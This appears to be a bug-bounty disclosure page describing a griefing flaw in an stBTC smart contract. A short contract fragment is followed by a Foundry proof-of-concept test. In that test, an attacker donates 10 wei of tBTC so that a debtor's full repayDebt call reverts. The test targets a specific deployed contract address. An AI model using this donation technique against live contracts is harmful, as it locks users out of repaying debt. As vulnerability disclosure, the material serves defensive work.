#34836 [SC-Medium] Malicious party can make it impossible for debt to be completely repaid by donati
Last updated
Was this helpful?
Was this helpful?
// Decrease the debt of the debtor. emit DebtRepaid(msg.sender, currentDebt[msg.sender], assets, shares);
// Decrease the total debt. // Burn the shares from the debtor.
super._burn(msg.sender, shares);
return shares;
}stBTC stBTCContract;
address owner;
address debtor;
address attacker;
address tbtc = 0x517f2982701695D4E52f1ECFBEf3ba31Df470161;
function setUp() public {
//initialize the stBTCContract
stBTCContract = stBTC(0x7e184179b1F95A9ca398E6a16127f06b81Cb37a3);
vm.label(address(stBTCContract), "stBTC Contract");
//initialize the attacker and victim addresses
attacker = makeAddr("Attacker");
vm.label(attacker, "Attacker");
debtor = makeAddr("Debtor");
vm.label(debtor, "Debtor");
owner = stBTCContract.owner();
vm.label(owner, "stBTC Contract Address");
//token minting and approvals
deal(tbtc, attacker, 1 ether);
}
function test__TotalDebtAndCurrentDebtDuringPayBack() public {
//owner grants debtor address allowance to mint stBTC without any deposit
vm.startPrank(owner);
stBTCContract.updateDebtAllowance(debtor, 1 ether);
assertEq(stBTCContract.allowedDebt(debtor), 1 ether);
//debtor mints the stBTC
changePrank(debtor);
stBTCContract.mintDebt(1 ether, debtor);
assertEq(stBTCContract.balanceOf(debtor), 1 ether);
//Attacker donates 10 wei of tbtc into stBTC Contract
uint totalAssetBefore = stBTCContract.totalAssets();
changePrank(attacker);
IERC20(tbtc).transfer(address(stBTCContract), 10);
assertGt(stBTCContract.totalAssets(), totalAssetBefore);
assertEq(stBTCContract.totalAssets() - totalAssetBefore, 10);
//due to the donation, debtor is unable to completely pay back the debt
changePrank(debtor);
//we anticipate the code reverting
vm.expectRevert(abi.encodeWithSelector(stBTC.ExcessiveDebtRepayment.selector, debtor, 1 ether, stBTCContract.convertToAssets(1 ether)));
stBTCContract.repayDebt(1 ether);
}